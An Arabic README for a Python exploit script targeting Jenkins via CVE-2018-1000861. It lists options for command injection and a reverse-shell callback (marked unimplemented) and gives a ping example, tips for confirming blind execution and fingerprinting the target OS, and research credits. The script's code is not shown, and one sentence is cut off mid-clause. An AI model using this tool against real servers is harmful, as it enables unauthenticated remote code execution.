CVE-2018-1000861

نص بسيط لاستغلال CVE-2018-1000861، مكتوب بلغة Python 3

الاستخدام:

usage: exploit.py [-h] -u URL [-c CMD] [-r] [-i IP] [-p PORT] [-v]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target Jenkins server
  -c CMD, --cmd CMD     Command to execute
  -r, --revshell        Execute reverse shell
  -i IP, --ip IP        IP address for reverse shell callback
  -p PORT, --port PORT  Port for reverse shell callback
  -v, --verbose         Verbose output

مثال:

python exploit.py -u http://192.168.1.20 -c 'ping 192.168.1.10'

ملاحظات:

• لا تحاول هذه الأداة التحقق من أن الهدف معرّض للثغرة. كل ما تفعله هو حقن أمر قشرة داخل كلاس Java.
• الأوامر التي يتم تنفيذها لن تُرجع أي مخرجات. ستحتاج إما إلى وسيلة للتحقق من تنفيذ الأمر (مثل ping + tcpdump) أو استخدام قشرة عكسية.
• تؤثر هذه الثغرة على تثبيتات Jenkins على كل من Linux و Windows حيث أن. يجب محاولة التحقق من نظام تشغيل الهدف قبل التنفيذ (مثلًا عبر ICMP TTL أو الخدمات المتاحة).
• النص يفترض أن يعمل على كل من Linux و Windows.
• وحدة القشرة العكسية (خيارات -r، -i، p) غير مطبّقة.
• استخدمه بمسؤولية.

للقيام به:

• وحدات قشرة عكسية خاصة بكل منصة
• تحديد وجود الثغرة
• إسهاب في تحديد وجود الثغرة

المراجع:

• الفضل يعود إلى Orange Tsai
• https://github.com/orangetw/awesome-jenkins-rce-2019
• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
• https://twitter.com/orange_8361/status/1075492505657925632